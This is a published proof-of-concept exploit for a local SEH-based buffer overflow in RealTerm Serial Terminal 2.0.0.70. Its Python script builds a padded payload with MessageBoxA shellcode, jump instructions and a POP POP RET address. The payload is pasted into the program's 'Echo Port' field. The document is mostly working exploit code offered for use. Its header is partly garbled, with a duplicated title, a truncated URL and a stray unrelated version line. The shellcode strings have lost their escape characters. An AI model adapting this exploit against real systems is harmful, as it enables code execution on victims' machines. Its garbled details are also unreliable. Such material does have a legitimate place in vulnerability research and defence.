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RealTerm Serial Terminal 2.0.0.70 Echo Port Buffer Overflow

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realter # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Version: 2.0.0.70
# Category: Local
# Contact: https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python script it will create a new file "carbonara.txt"
# 2.- Copy the content of the new file 'carbonara.txt' to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or
# 8.- Box!


import socket
import struct

'''
badchars: 0x20,0x0a
arwin.exe user32.dll MessageBoxA
arwin - win32 address resolution program - by steve hanna - v.01
MessageBoxA is located at 0x747cfdae in user32.dll
'''
shellcode = (
"x33xc0" # XOR EAX,EAX
"x50" # PUSH EAX => padding for lpCaption
"x68x7ax6fx21x21" # PUSH "zo!!"
"x68x61x76x61x6e" # PUSH "avan"
"x8BxCC" # MOV ECX,ESP => PTR to lpCaption
"x50" # PUSH EAX => padding for lpText
"x68x6ex7ax6fx21" # PUSH "nzo!"
"x68x61x76x61x21" # PUSH "ava!"
"x8BxD4" # MOV EDX,ESP => PTR to lpText
"x50" # PUSH EAX - uType=0x0
"x51" # PUSH ECX - lpCaption
"x52" # PUSH EDX - lpText
"x50" # PUSH EAX - hWnd=0x0
"xBExaexfdx7cx74" # MOV ESI,USER32.MessageBoxA <<< hardcoded address
"xFFxD6") # CALL ESI

pad1="x90"*(142-len(shellcode))
pad2 = "x42" * 118
nseh = "xEBx80x90x90"
jmp_back = "xEBx80x90x90"
short_jmp = "xEBx12x90x90"
seh = struct.pack('<L',0x00406e27) # 00406e27# POP POP RET
nops = "x90x90x90x90"
payload = pad1 + shellcode + nops + jmp_back + pad2 + nseh + seh


try:
f=open("carbonara.txt","w")
print "[+] Creating %s bytes pasta payload.." %len(payload)
f.write(payload)
f.close()
print "[+] Carbonara created!"

except:
print "Carbonara cannot be created"

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